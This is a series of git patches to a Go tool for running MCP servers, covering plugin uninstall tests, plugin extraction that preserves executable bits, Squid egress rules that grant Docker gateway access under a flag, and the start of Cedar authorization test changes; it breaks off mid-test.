+ Clients: []string{"claude-code"}, + } + store.EXPECT().Get(gomock.Any(), "my-plugin", plugins.ScopeUser, "").Return(existing, nil) + adapter.EXPECT().Dematerialize(gomock.Any(), gomock.Any()).Return(nil) + store.EXPECT().Delete(gomock.Any(), "my-plugin", plugins.ScopeUser, ""). + Return(errors.New("db locked")) + + svc := newTestService(WithStore(store), + WithMaterializers(map[string]plugins.MaterializationAdapter{"claude-code": adapter})) + err := svc.Uninstall(t.Context(), plugins.UninstallOptions{Name: "my-plugin"}) + require.Error(t, err) + assert.Contains(t, err.Error(), "db locked") + }) + + // RemovePluginFromAllGroups fails: the error is joined into the final + // result (store.Delete already succeeded). + t.Run("group removal failure joins into result", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + adapter := plugmocks.NewMockMaterializationAdapter(ctrl) + gm := groupmocks.NewMockManager(ctrl) + + existing := plugins.InstalledPlugin{ + Metadata: plugins.PluginMetadata{Name: "my-plugin"}, + Clients: []string{"claude-code"}, + } + store.EXPECT().Get(gomock.Any(), "my-plugin", plugins.ScopeUser, "").Return(existing, nil) + adapter.EXPECT().Dematerialize(gomock.Any(), gomock.Any()).Return(nil) + store.EXPECT().Delete(gomock.Any(), "my-plugin", plugins.ScopeUser, "").Return(nil) + // RemovePluginFromAllGroups calls List then Update for each matching group. + gm.EXPECT().List(gomock.Any()).Return(nil, errors.New("etcd unavailable")) + + svc := newTestService(WithStore(store), WithGroupManager(gm), + WithMaterializers(map[string]plugins.MaterializationAdapter{"claude-code": adapter})) + err := svc.Uninstall(t.Context(), plugins.UninstallOptions{Name: "my-plugin"}) + require.Error(t, err) + assert.Contains(t, err.Error(), "removing plugin from groups") + assert.Contains(t, err.Error(), "etcd unavailable") + }) + + // A missing materializer for a stored client type is skipped (not an error); + // the remaining clients dematerialize and the record is deleted. + t.Run("missing materializer for stored client is skipped", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + adapter := plugmocks.NewMockMaterializationAdapter(ctrl) + + existing := plugins.InstalledPlugin{ + Metadata: plugins.PluginMetadata{Name: "my-plugin"}, + Clients: []string{"claude-code", "ghost-client"}, + } + store.EXPECT().Get(gomock.Any(), "my-plugin", plugins.ScopeUser, "").Return(existing, nil) + // Only claude-code has a materializer; ghost-client is silently skipped. + adapter.EXPECT().Dematerialize(gomock.Any(), gomock.Any()).Return(nil) + store.EXPECT().Delete(gomock.Any(), "my-plugin", plugins.ScopeUser, "").Return(nil) + + svc := newTestService(WithStore(store), + WithMaterializers(map[string]plugins.MaterializationAdapter{"claude-code": adapter})) + err := svc.Uninstall(t.Context(), plugins.UninstallOptions{Name: "my-plugin"}) + require.NoError(t, err) + }) + + // Multi-client: one dematerialize fails, the other succeeds; the record is + // still deleted and the failure is joined into the result. + t.Run("multi-client partial dematerialize failure joins errors", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + adapterA := plugmocks.NewMockMaterializationAdapter(ctrl) + adapterB := plugmocks.NewMockMaterializationAdapter(ctrl) + + existing := plugins.InstalledPlugin{ + Metadata: plugins.PluginMetadata{Name: "my-plugin"}, + Clients: []string{"claude-code", "codex"}, + } + store.EXPECT().Get(gomock.Any(), "my-plugin", plugins.ScopeUser, "").Return(existing, nil) + adapterA.EXPECT().Dematerialize(gomock.Any(), gomock.Any()).Return(nil) + adapterB.EXPECT().Dematerialize(gomock.Any(), gomock.Any()). + Return(errors.New("codex config busy")) + store.EXPECT().Delete(gomock.Any(), "my-plugin", plugins.ScopeUser, "").Return(nil) + + svc := newTestService(WithStore(store), + WithMaterializers(map[string]plugins.MaterializationAdapter{ + "claude-code": adapterA, + "codex": adapterB, + })) + err := svc.Uninstall(t.Context(), plugins.UninstallOptions{Name: "my-plugin"}) + require.Error(t, err) + assert.Contains(t, err.Error(), "codex config busy") + }) + + // End-to-end happy path with group membership cleanup. + t.Run("full uninstall removes from groups", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + adapter := plugmocks.NewMockMaterializationAdapter(ctrl) + gm := groupmocks.NewMockManager(ctrl) + + existing := plugins.InstalledPlugin{ + Metadata: plugins.PluginMetadata{Name: "my-plugin"}, + Clients: []string{"claude-code"}, + } + store.EXPECT().Get(gomock.Any(), "my-plugin", plugins.ScopeUser, "").Return(existing, nil) + adapter.EXPECT().Dematerialize(gomock.Any(), gomock.Any()).Return(nil) + store.EXPECT().Delete(gomock.Any(), "my-plugin", plugins.ScopeUser, "").Return(nil) + // RemovePluginFromAllGroups lists groups, finds one containing the plugin, updates it. + gm.EXPECT().List(gomock.Any()).Return([]*groups.Group{ + {Name: "mygroup", Plugins: []string{"my-plugin", "other"}}, + }, nil) + gm.EXPECT().Update(gomock.Any(), gomock.Any()).Return(nil) + + svc := newTestService(WithStore(store), WithGroupManager(gm), + WithMaterializers(map[string]plugins.MaterializationAdapter{"claude-code": adapter})) + err := svc.Uninstall(t.Context(), plugins.UninstallOptions{Name: "my-plugin"}) + require.NoError(t, err) + }) +} diff --git a/pkg/plugins/service.go b/pkg/plugins/service.go index c077ff7170..599cd49b1d 100644 --- a/pkg/plugins/service.go +++ b/pkg/plugins/service.go @@ -9,14 +9,9 @@ import "context" // PluginService declares the plugin lifecycle surface (mirrors skills.SkillService). // -// Phase 2 implements ONLY: Validate, Build, Push, ListBuilds, DeleteBuild, and -// GetContent — the build/validate/push/content surface. The install/uninstall/ -// list/info methods are NOT declared on the interface yet: they land in Phase 3 -// (#5527), which will widen this interface (the only change is the addition; -// existing method signatures stay stable). The Phase-3 option/result types they -// will use (InstallOptions, InstallResult, UninstallOptions, InfoOptions, -// PluginInfo, ListOptions) are already declared in options.go as forward -// declarations of the Phase-3 contract. +// Phase 3 widens the Phase-2 surface with Install, Uninstall, List, and Info — +// the install/materialization lifecycle. The build/validate/push/content methods +// from Phase 2 stay stable; this is purely additive. type PluginService interface { // Validate checks whether a plugin definition is valid. Validate(ctx context.Context, path string) (*ValidationResult, error) @@ -32,4 +27,17 @@ type PluginService interface { // artifact without installing it. Works for both remote registry references // and local build tags. GetContent(ctx context.Context, opts ContentOptions) (*PluginContent, error) + // Install resolves a plugin reference (OCI, git, or registry name), extracts + // it, materializes it into each target client's directory layout via the + // configured MaterializationAdapters, and persists the install record. + Install(ctx context.Context, opts InstallOptions) (*InstallResult, error) + // Uninstall removes a plugin from all target clients (dematerialize) and + // deletes the install record. Idempotent for already-removed plugins. + Uninstall(ctx context.Context, opts UninstallOptions) error + // List returns installed plugins, optionally filtered by scope, client, or + // group membership. + List(ctx context.Context, opts ListOptions) ([]InstalledPlugin, error) + // Info returns details for a single installed plugin, including the + // component types each installed client adapter does NOT load. + Info(ctx context.Context, opts InfoOptions) (*PluginInfo, error) } diff --git a/pkg/skills/gitresolver/resolver.go b/pkg/skills/gitresolver/resolver.go index deb1d58f7c..aaacd13b33 100644 --- a/pkg/skills/gitresolver/resolver.go +++ b/pkg/skills/gitresolver/resolver.go @@ -20,8 +20,10 @@ import ( "github.com/stacklok/toolhive/pkg/skills" ) -// cloneTimeout is the maximum time allowed for cloning a git repository. -const cloneTimeout = 2 * time.Minute +// CloneTimeout is the maximum time allowed for cloning a git repository. +// Exported so callers (e.g. pluginsvc.installFromGit) can reuse the same +// timeout without duplicating the constant. +const CloneTimeout = 2 * time.Minute // semverLike matches refs that look like semantic version tags (v1.0, v1.2.3, v1.2.3-rc1, etc.). // Requires at least one dot-separated numeric segment after the major version to avoid matching @@ -78,12 +80,14 @@ type defaultResolver struct { fixedClient git.Client } -// clientForURL returns a git client appropriate for the given clone URL. -// If a fixed client was provided (testing), it is returned as-is. -// Otherwise, a new client is created with host-scoped auth from the environment. -func (r *defaultResolver) clientForURL(cloneURL string) git.Client { - if r.fixedClient != nil { - return r.fixedClient +// ClientForURL returns a git client for the given clone URL. When fixedClient +// is non-nil it is returned as-is (testing); otherwise a new client is created +// with host-scoped auth from the environment. Exported so +// pluginsvc.installFromGit can reuse the same auth-resolution path without +// duplicating clientForURL. +func ClientForURL(cloneURL string, fixedClient git.Client) git.Client { + if fixedClient != nil { + return fixedClient } auth := ResolveAuth(cloneURL) var opts []git.ClientOption @@ -93,31 +97,38 @@ func (r *defaultResolver) clientForURL(cloneURL string) git.Client { return git.NewDefaultGitClient(opts...) } -// Resolve clones a git repository and extracts skill files from it. -func (r *defaultResolver) Resolve(ctx context.Context, ref *GitReference) (*ResolveResult, error) { - // Enforce a clone timeout to prevent indefinite hangs from slow/malicious servers. - ctx, cancel := context.WithTimeout(ctx, cloneTimeout) - defer cancel() - - // Build clone config from the git reference - cloneConfig := &git.CloneConfig{ - URL: ref.URL, - } +// CloneConfigForRef classifies ref as commit/tag/branch and returns the +// matching git.CloneConfig (with URL set from ref.URL). Exported so +// pluginsvc.installFromGit can reuse the same ref-classification logic +// without duplicating semverLike/isHex. +func CloneConfigForRef(ref *GitReference) *git.CloneConfig { + cfg := &git.CloneConfig{URL: ref.URL} if ref.Ref != "" { switch { case len(ref.Ref) == 40 && isHex(ref.Ref): // Full commit hash → checkout specific commit - cloneConfig.Commit = ref.Ref + cfg.Commit = ref.Ref case semverLike.MatchString(ref.Ref): // Semver-like pattern (v1.0.0) → clone as tag - cloneConfig.Tag = ref.Ref + cfg.Tag = ref.Ref default: // Everything else → treat as branch - cloneConfig.Branch = ref.Ref + cfg.Branch = ref.Ref } } + return cfg +} + +// Resolve clones a git repository and extracts skill files from it. +func (r *defaultResolver) Resolve(ctx context.Context, ref *GitReference) (*ResolveResult, error) { + // Enforce a clone timeout to prevent indefinite hangs from slow/malicious servers. + ctx, cancel := context.WithTimeout(ctx, CloneTimeout) + defer cancel() + + // Build clone config from the git reference + cloneConfig := CloneConfigForRef(ref) - client := r.clientForURL(ref.URL) + client := ClientForURL(ref.URL, r.fixedClient) repoInfo, err := client.Clone(ctx, cloneConfig) if err != nil { diff --git a/pkg/skills/installer.go b/pkg/skills/installer.go index 8d6e7b0de3..67876cae7d 100644 --- a/pkg/skills/installer.go +++ b/pkg/skills/installer.go @@ -26,6 +26,10 @@ const ( DirPermissions os.FileMode = 0750 // FilePermissionMask strips setuid, setgid, sticky bits and caps at 0644. FilePermissionMask os.FileMode = 0644 + // PluginFilePermissionMask strips setuid, setgid, sticky bits and caps at + // 0755, preserving the executable bit so plugin hook scripts keep +x. + // For non-executable files (mode 0644), 0644 & 0755 = 0644 — no change. + PluginFilePermissionMask os.FileMode = 0755 ) // ExtractResult contains the outcome of an Extract operation. @@ -49,6 +53,10 @@ func (*defaultInstaller) Extract(layerData []byte, targetDir string, force bool) return Extract(layerData, targetDir, force) } +func (*defaultInstaller) ExtractPlugin(layerData []byte, targetDir string, force bool) (*ExtractResult, error) { + return ExtractPlugin(layerData, targetDir, force) +} + func (*defaultInstaller) Remove(skillDir string) error { return Remove(skillDir) } @@ -94,7 +102,63 @@ func Extract(layerData []byte, targetDir string, force bool) (*ExtractResult, er return nil, fmt.Errorf("creating target directory: %w", err) } - if err := writeFiles(files, targetDir); err != nil { + if err := writeFiles(files, targetDir, FilePermissionMask); err != nil { + return nil, err + } + + // Defense in depth: verify the extracted directory post-extraction + if err := CheckFilesystem(targetDir); err != nil { + _ = os.RemoveAll(targetDir) // clean up on verification failure + return nil, fmt.Errorf("post-extraction verification failed: %w", err) + } + + return &ExtractResult{ + SkillDir: targetDir, + Files: len(files), + }, nil +} + +// ExtractPlugin is like Extract but uses PluginFilePermissionMask (0755) so +// executable files (hook scripts, entry points) keep their +x bit. Used by +// plugin adapters which install multi-component trees that may include +// executable hooks — unlike skills, which are single markdown files. +func ExtractPlugin(layerData []byte, targetDir string, force bool) (*ExtractResult, error) { + // Decompress gzip with total size limit + tarData, err := ociskills.DecompressWithLimit(layerData, MaxTotalExtractSize) + if err != nil { + return nil, fmt.Errorf("decompressing layer: %w", err) + } + + // Extract tar with per-file size limit (rejects symlinks, hardlinks, path traversal) + files, err := ociskills.ExtractTarWithLimit(tarData, MaxFileExtractSize) + if err != nil { + return nil, fmt.Errorf("extracting tar: %w", err) + } + + if len(files) > MaxExtractFileCount { + return nil, fmt.Errorf("archive contains %d files, exceeding limit of %d", len(files), MaxExtractFileCount) + } + + // Handle existing directory + if _, statErr := os.Stat(targetDir); statErr == nil { + if !force { + return nil, fmt.Errorf("target directory %q already exists; use force to overwrite", targetDir) + } + if err := Remove(targetDir); err != nil { + return nil, fmt.Errorf("removing existing directory: %w", err) + } + } + + // Pre-extraction: validate that no existing path components are symlinks. + if err := ValidatePathNoSymlinks(targetDir); err != nil { + return nil, fmt.Errorf("target path validation: %w", err) + } + + if err := os.MkdirAll(targetDir, DirPermissions); err != nil { + return nil, fmt.Errorf("creating target directory: %w", err) + } + + if err := writeFiles(files, targetDir, PluginFilePermissionMask); err != nil { return nil, err } @@ -111,14 +175,16 @@ func Extract(layerData []byte, targetDir string, force bool) (*ExtractResult, er } // writeFiles writes extracted file entries to targetDir with containment checks -// and sanitized permissions. -func writeFiles(files []ociskills.FileEntry, targetDir string) error { +// and sanitized permissions. The mask controls how much of the original mode +// is preserved (FilePermissionMask for skills, PluginFilePermissionMask for +// plugins). +func writeFiles(files []ociskills.FileEntry, targetDir string, mask os.FileMode) error { cleanTarget := filepath.Clean(targetDir) for _, f := range files { - // Sanitize file permissions: strip setuid/setgid/sticky, cap at 0644. + // Sanitize file permissions: strip setuid/setgid/sticky, apply mask. // Pre-write containment check is handled by WriteContainedFile. - mode := os.FileMode(f.Mode&0o777) & FilePermissionMask //nolint:gosec // mode is masked to 9 bits before conversion + mode := os.FileMode(f.Mode&0o777) & mask //nolint:gosec // mode is masked to 9 bits before conversion if err := fileutils.WriteContainedFile(cleanTarget, f.Path, f.Content, DirPermissions, mode); err != nil { return err diff --git a/pkg/skills/mocks/mock_path_resolver.go b/pkg/skills/mocks/mock_path_resolver.go index 0ef65e7405..7df94df0a7 100644 --- a/pkg/skills/mocks/mock_path_resolver.go +++ b/pkg/skills/mocks/mock_path_resolver.go @@ -108,6 +108,21 @@ func (mr *MockInstallerMockRecorder) Extract(layerData, targetDir, force any) *g return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "Extract", reflect.TypeOf((*MockInstaller)(nil).Extract), layerData, targetDir, force) } +// ExtractPlugin mocks base method. +func (m *MockInstaller) ExtractPlugin(layerData []byte, targetDir string, force bool) (*skills.ExtractResult, error) { + m.ctrl.T.Helper() + ret := m.ctrl.Call(m, "ExtractPlugin", layerData, targetDir, force) + ret0, _ := ret[0].(*skills.ExtractResult) + ret1, _ := ret[1].(error) + return ret0, ret1 +} + +// ExtractPlugin indicates an expected call of ExtractPlugin. +func (mr *MockInstallerMockRecorder) ExtractPlugin(layerData, targetDir, force any) *gomock.Call { + mr.mock.ctrl.T.Helper() + return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "ExtractPlugin", reflect.TypeOf((*MockInstaller)(nil).ExtractPlugin), layerData, targetDir, force) +} + // Remove mocks base method. func (m *MockInstaller) Remove(skillDir string) error { m.ctrl.T.Helper() diff --git a/pkg/skills/types.go b/pkg/skills/types.go index c52904efe8..224e7b8d00 100644 --- a/pkg/skills/types.go +++ b/pkg/skills/types.go @@ -200,6 +200,9 @@ type PathResolver interface { type Installer interface { // Extract decompresses a tar.gz OCI layer and writes files to targetDir. Extract(layerData []byte, targetDir string, force bool) (*ExtractResult, error) + // ExtractPlugin is like Extract but preserves the executable bit (cap 0755) + // so plugin hook scripts keep +x. Used by plugin adapters. + ExtractPlugin(layerData []byte, targetDir string, force bool) (*ExtractResult, error) // Remove safely removes a skill directory. Remove(skillDir string) error } From 06a5674701340defdc5f988e345ef14d2ef63b7c Mon Sep 17 00:00:00 2001 From: Eleftheria Stein-Kousathana Date: Fri, 3 Jul 2026 10:01:52 +0200 Subject: [PATCH 11/66] Make --allow-docker-gateway grant host access, not just unblock it (#5707) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * Make --allow-docker-gateway grant host access In allowlist mode --allow-docker-gateway only suppressed the egress proxy's deny rules for the Docker gateway. Because Squid is first-match-wins, dropping the deny did nothing on its own: without a later allow rule the request still fell through to the catch-all deny. Users had to also add host.docker.internal (and a port) to their allowlist for the flag to have any effect. Emit explicit standalone http_access allow rules for the gateway host(s) and IP when the flag is set, so the flag alone makes the host reachable. The allow rules reference only the host/IP ACLs, not the port ACL, keeping gateway access port-independent — host-local services use arbitrary ports users would otherwise have to enumerate. Co-Authored-By: Claude Opus 4.8 (1M context) * Update E2E test for gateway allow rules The egress config test asserted the gateway ACL names were entirely absent under --allow-docker-gateway. The flag now replaces the deny rules with allow rules referencing the same ACLs, so assert the deny rules are gone and the allow rules are present instead. Co-Authored-By: Claude Opus 4.8 (1M context) --------- Co-authored-by: Claude Opus 4.8 (1M context) --- pkg/container/docker/squid.go | 41 +++++++++++++++++++++++++++--- pkg/container/docker/squid_test.go | 39 +++++++++++++++++++++++----- test/e2e/network_isolation_test.go | 24 ++++++++++------- 3 files changed, 84 insertions(+), 20 deletions(-) diff --git a/pkg/container/docker/squid.go b/pkg/container/docker/squid.go index c23825e46b..24a4f08a81 100644 --- a/pkg/container/docker/squid.go +++ b/pkg/container/docker/squid.go @@ -207,6 +207,36 @@ func writeDockerGatewayDenyRules(sb *strings.Builder, gatewayIP string) { ) } +// writeDockerGatewayAllowRules emits Squid ACL definitions and http_access allow +// rules that grant access to the Docker gateway addresses. They are written when +// --allow-docker-gateway is set so the flag alone makes the host reachable — in +// allowlist mode, suppressing the deny is not enough, since Squid is +// first-match-wins and only a later allow can let the request through. +// +// The allow rules are emitted as standalone http_access lines that reference only +// the host/IP ACLs, NOT the port ACL. On a single http_access line Squid AND-s +// the ACLs together, so folding the gateway host into the port-restricted +// allowed_ports/allowed_dsts rule would block it on the arbitrary ports that +// host-local services use (5432, 3306, 6379, 8080, …). Gateway access is +// therefore port-independent — a deliberate relaxation, since reaching the host +// is already a separate, more-privileged opt-in. +// +// Like the deny rules, these MUST precede any later http_access allow/deny so +// they are reached under Squid's first-match-wins evaluation. +// +// See writeDockerGatewayDenyRules for the meaning of gatewayIP and the gateway +// hostnames. +func writeDockerGatewayAllowRules(sb *strings.Builder, gatewayIP string) { + sb.WriteString( + "# Grant Docker gateway access — enabled via --allow-docker-gateway\n" + + "acl docker_gateway_hosts dstdomain " + + dockerGatewayHostname + " " + dockerAltGatewayHostname + "\n" + + "acl docker_gateway_ip dst " + gatewayIP + "\n" + + "http_access allow docker_gateway_hosts\n" + + "http_access allow docker_gateway_ip\n\n", + ) +} + func createTempEgressSquidConf( networkPermissions *permissions.NetworkPermissions, serverHostname string, @@ -217,10 +247,13 @@ func createTempEgressSquidConf( writeCommonConfig(&sb, serverHostname, proxyEgress) - // Always block Docker gateway addresses unless the caller explicitly opts - // in via --allow-docker-gateway. MUST precede any http_access allow — - // Squid is first-match-wins. - if !allowDockerGateway { + // Handle Docker gateway access. MUST precede any http_access allow — Squid + // is first-match-wins. When --allow-docker-gateway is set, emit explicit + // allow rules so the flag alone grants host access; otherwise block the + // gateway addresses. + if allowDockerGateway { + writeDockerGatewayAllowRules(&sb, gatewayIP) + } else { writeDockerGatewayDenyRules(&sb, gatewayIP) } diff --git a/pkg/container/docker/squid_test.go b/pkg/container/docker/squid_test.go index 62cc1a8d80..483dbfaec3 100644 --- a/pkg/container/docker/squid_test.go +++ b/pkg/container/docker/squid_test.go @@ -301,6 +301,7 @@ func TestCreateTempEgressSquidConf_DockerGatewayBlocking(t *testing.T) { permissions *permissions.NetworkPermissions allowDockerGateway bool expectDenyRule bool + expectAllowRule bool expectAllowAll bool expectContains []string // additional substrings that must appear }{ @@ -321,7 +322,7 @@ func TestCreateTempEgressSquidConf_DockerGatewayBlocking(t *testing.T) { expectAllowAll: true, }, { - name: "allow-docker-gateway opt-in removes deny rules", + name: "allow-docker-gateway opt-in emits allow rules instead of deny", permissions: &permissions.NetworkPermissions{ Outbound: &permissions.OutboundNetworkPermissions{ InsecureAllowAll: true, @@ -329,6 +330,7 @@ func TestCreateTempEgressSquidConf_DockerGatewayBlocking(t *testing.T) { }, allowDockerGateway: true, expectDenyRule: false, + expectAllowRule: true, expectAllowAll: true, }, { @@ -342,7 +344,7 @@ func TestCreateTempEgressSquidConf_DockerGatewayBlocking(t *testing.T) { expectAllowAll: false, }, { - name: "ACL-based outbound with allow-docker-gateway omits deny rules but keeps ACL allow", + name: "ACL-based outbound with allow-docker-gateway emits gateway allow rules and keeps ACL allow", permissions: &permissions.NetworkPermissions{ Outbound: &permissions.OutboundNetworkPermissions{ AllowHost: []string{"example.com"}, @@ -351,6 +353,7 @@ func TestCreateTempEgressSquidConf_DockerGatewayBlocking(t *testing.T) { }, allowDockerGateway: true, expectDenyRule: false, + expectAllowRule: true, expectAllowAll: false, expectContains: []string{ "acl allowed_ports port 443", @@ -380,9 +383,9 @@ func TestCreateTempEgressSquidConf_DockerGatewayBlocking(t *testing.T) { }, }, { - // With the opt-in the deny is dropped and the ACL allow for - // host.docker.internal takes effect. - name: "host.docker.internal in allow_host with opt-in is allowed via ACL", + // With the opt-in the deny is dropped and the standalone gateway + // allow rules grant access — no manual allowlist entry required. + name: "host.docker.internal with opt-in is allowed via standalone gateway rules", permissions: &permissions.NetworkPermissions{ Outbound: &permissions.OutboundNetworkPermissions{ AllowHost: []string{"host.docker.internal"}, @@ -391,6 +394,7 @@ func TestCreateTempEgressSquidConf_DockerGatewayBlocking(t *testing.T) { }, allowDockerGateway: true, expectDenyRule: false, + expectAllowRule: true, expectAllowAll: false, expectContains: []string{ "acl allowed_dsts dstdomain host.docker.internal", @@ -411,7 +415,13 @@ func TestCreateTempEgressSquidConf_DockerGatewayBlocking(t *testing.T) { require.NoError(t, err) s := string(b) - if tt.expectDenyRule { + // A given config either blocks the gateway (deny rules) or grants it + // (allow rules), never both. + assert.False(t, tt.expectDenyRule && tt.expectAllowRule, + "a config cannot both deny and allow the docker gateway") + + switch { + case tt.expectDenyRule: assert.Contains(t, s, "acl docker_gateway_hosts dstdomain host.docker.internal gateway.docker.internal") assert.Contains(t, s, "acl docker_gateway_ip dst 172.17.0.1") assert.Contains(t, s, "http_access deny docker_gateway_hosts") @@ -424,7 +434,22 @@ func TestCreateTempEgressSquidConf_DockerGatewayBlocking(t *testing.T) { assert.Less(t, denyIdx, firstAllowIdx, "docker gateway deny must appear before any http_access allow") } - } else { + case tt.expectAllowRule: + assert.Contains(t, s, "acl docker_gateway_hosts dstdomain host.docker.internal gateway.docker.internal") + assert.Contains(t, s, "acl docker_gateway_ip dst 172.17.0.1") + assert.Contains(t, s, "http_access allow docker_gateway_hosts") + assert.Contains(t, s, "http_access allow docker_gateway_ip") + // The gateway must never be denied when the opt-in is set. + assert.NotContains(t, s, "http_access deny docker_gateway_hosts") + assert.NotContains(t, s, "http_access deny docker_gateway_ip") + + // The gateway allow must precede the final catch-all deny — + // Squid is first-match-wins. + assert.Less(t, + strings.Index(s, "http_access allow docker_gateway_hosts"), + strings.LastIndex(s, "http_access deny all"), + "docker gateway allow must appear before the catch-all deny") + default: assert.NotContains(t, s, "docker_gateway_hosts") assert.NotContains(t, s, "docker_gateway_ip") } diff --git a/test/e2e/network_isolation_test.go b/test/e2e/network_isolation_test.go index 5d01fe8adc..278a9c113d 100644 --- a/test/e2e/network_isolation_test.go +++ b/test/e2e/network_isolation_test.go @@ -259,11 +259,11 @@ var _ = Describe("NetworkIsolation", Label("proxy", "network", "isolation", "e2e "the egress proxy must deny the bridge gateway IP without --allow-docker-gateway") retireServer(denyServer) - By("Confirming --allow-docker-gateway removes the deny so the host is reachable") + By("Confirming --allow-docker-gateway grants access so the host is reachable") allowServer := startFetchServer("allow", "", "--allow-docker-gateway") result := fetchThrough(allowServer, target) if result.IsError { - // The deny removal is pinned deterministically by the config test + // The deny→allow swap is pinned deterministically by the config test // below; whether the bridge gateway actually routes to a host // service is environment-specific — it works on Linux Docker Engine // (where the bridge gateway is the host), but on Docker Desktop the @@ -276,12 +276,13 @@ var _ = Describe("NetworkIsolation", Label("proxy", "network", "isolation", "e2e }) // This test pins the egress ACL rules deterministically on a real, deployed - // container — both the hostname deny (which the traffic test above cannot - // exercise without the host.docker.internal DNS confounder of #5640) and the - // direct-IP deny. It complements, rather than duplicates, the unit test for + // container — the default hostname and direct-IP deny rules (which the + // traffic test above cannot exercise without the host.docker.internal DNS + // confounder of #5640), and the allow rules the flag emits in their place. + // It complements, rather than duplicates, the unit test for // createTempEgressSquidConf: it proves thv actually generates and mounts the // config into the running egress proxy, alongside the real-traffic assertion above. - It("carries both gateway deny rules in the egress config by default and drops them with the flag", func() { + It("carries both gateway deny rules by default and replaces them with allow rules under the flag", func() { squidConf := func(serverName string) string { //nolint:gosec // container name is test-controlled out, err := exec.Command("docker", "exec", serverName+"-egress", @@ -300,12 +301,17 @@ var _ = Describe("NetworkIsolation", Label("proxy", "network", "isolation", "e2e "default config must deny the docker gateway IP (the DNS-bypass path)") retireServer(denyServer) - By("With --allow-docker-gateway: both deny rules are absent") + By("With --allow-docker-gateway: the deny rules are replaced by explicit allow rules") allowConf := squidConf(startFetchServer("cfg-allow", "", "--allow-docker-gateway")) - Expect(allowConf).ToNot(ContainSubstring("docker_gateway_hosts"), + Expect(allowConf).ToNot(ContainSubstring("http_access deny docker_gateway_hosts"), "--allow-docker-gateway must remove the gateway hostname deny rule") - Expect(allowConf).ToNot(ContainSubstring("docker_gateway_ip"), + Expect(allowConf).ToNot(ContainSubstring("http_access deny docker_gateway_ip"), "--allow-docker-gateway must remove the gateway IP deny rule") + Expect(allowConf).To(ContainSubstring("http_access allow docker_gateway_hosts"), + "--allow-docker-gateway must grant access to the gateway hostnames") + Expect(allowConf).To(ContainSubstring("dstdomain host.docker.internal gateway.docker.internal")) + Expect(allowConf).To(ContainSubstring("http_access allow docker_gateway_ip"), + "--allow-docker-gateway must grant access to the gateway IP") }) }) }) From d70cc41a0545707759226dd02a58c0b31e6e54dc Mon Sep 17 00:00:00 2001 From: Jakub Hrozek Date: Fri, 3 Jul 2026 09:24:57 +0100 Subject: [PATCH 12/66] Support nested map claims in Cedar authorization for act claim (#5713) Add map[string]interface{} case to convertToCedarValue so that nested JWT claims like the RFC 8693 act claim ({"sub": "spiffe://..."}) are converted to Cedar Records instead of being silently dropped. This enables delegation policies such as: principal.claim_act.sub like "spiffe://toolhive.dev/ns/agents/sa/*" Co-authored-by: Claude Opus 4.6 (1M context) --- pkg/authz/authorizers/cedar/core_test.go | 161 +++++++++++++++++---- pkg/authz/authorizers/cedar/entity.go | 62 ++++---- pkg/authz/authorizers/cedar/record_test.go | 107 +++++++++++++- 3 files changed, 277 insertions(+), 53 deletions(-) diff --git a/pkg/authz/authorizers/cedar/core_test.go b/pkg/authz/authorizers/cedar/core_test.go index a1a93a29da..1bab4bce19 100644 --- a/pkg/authz/authorizers/cedar/core_test.go +++ b/pkg/authz/authorizers/cedar/core_test.go @@ -146,7 +146,7 @@ func TestAuthorizeWithJWTClaims(t *testing.T) { // Test cases testCases := []struct { name string - policy string + policies []string claims jwt.MapClaims feature authorizers.MCPFeature operation authorizers.MCPOperation @@ -156,7 +156,7 @@ func TestAuthorizeWithJWTClaims(t *testing.T) { }{ { name: "User with correct name can call weather tool", - policy: ` + policies: []string{` permit( principal, action == Action::"call_tool", @@ -165,7 +165,7 @@ func TestAuthorizeWithJWTClaims(t *testing.T) { when { context.claim_name == "John Doe" }; - `, + `}, claims: jwt.MapClaims{ "sub": "user123", "name": "John Doe", @@ -179,7 +179,7 @@ func TestAuthorizeWithJWTClaims(t *testing.T) { }, { name: "User with incorrect name cannot call weather tool", - policy: ` + policies: []string{` permit( principal, action == Action::"call_tool", @@ -188,7 +188,7 @@ func TestAuthorizeWithJWTClaims(t *testing.T) { when { context.claim_name == "John Doe" }; - `, + `}, claims: jwt.MapClaims{ "sub": "user123", "name": "Jane Smith", @@ -202,7 +202,7 @@ func TestAuthorizeWithJWTClaims(t *testing.T) { }, { name: "Admin user can call any tool", - policy: ` + policies: []string{` permit( principal, action == Action::"call_tool", @@ -211,7 +211,7 @@ func TestAuthorizeWithJWTClaims(t *testing.T) { when { context.claim_role == "admin" }; - `, + `}, claims: map[string]interface{}{ "sub": "admin123", "name": "Admin User", @@ -225,7 +225,7 @@ func TestAuthorizeWithJWTClaims(t *testing.T) { }, { name: "User with specific argument value can call tool", - policy: ` + policies: []string{` permit( principal, action == Action::"call_tool", @@ -234,7 +234,7 @@ func TestAuthorizeWithJWTClaims(t *testing.T) { when { context.arg_operation == "add" && context.arg_value1 == 5 }; - `, + `}, claims: map[string]interface{}{ "sub": "user123", "name": "John Doe", @@ -251,7 +251,7 @@ func TestAuthorizeWithJWTClaims(t *testing.T) { }, { name: "User with specific role in array can access resource", - policy: ` + policies: []string{` permit( principal, action == Action::"read_resource", @@ -260,7 +260,7 @@ func TestAuthorizeWithJWTClaims(t *testing.T) { when { context.claim_groups.contains("editor") }; - `, + `}, claims: jwt.MapClaims{ "sub": "user123", "name": "John Doe", @@ -274,7 +274,7 @@ func TestAuthorizeWithJWTClaims(t *testing.T) { }, { name: "Resource entity exposes name attribute for Cedar schema", - policy: ` + policies: []string{` permit( principal, action == Action::"read_resource", @@ -283,7 +283,7 @@ func TestAuthorizeWithJWTClaims(t *testing.T) { when { resource.name == "sensitive_data" }; - `, + `}, claims: jwt.MapClaims{ "sub": "user123", }, @@ -295,7 +295,7 @@ func TestAuthorizeWithJWTClaims(t *testing.T) { }, { name: "Resource entity retains uri attribute for backward compat", - policy: ` + policies: []string{` permit( principal, action == 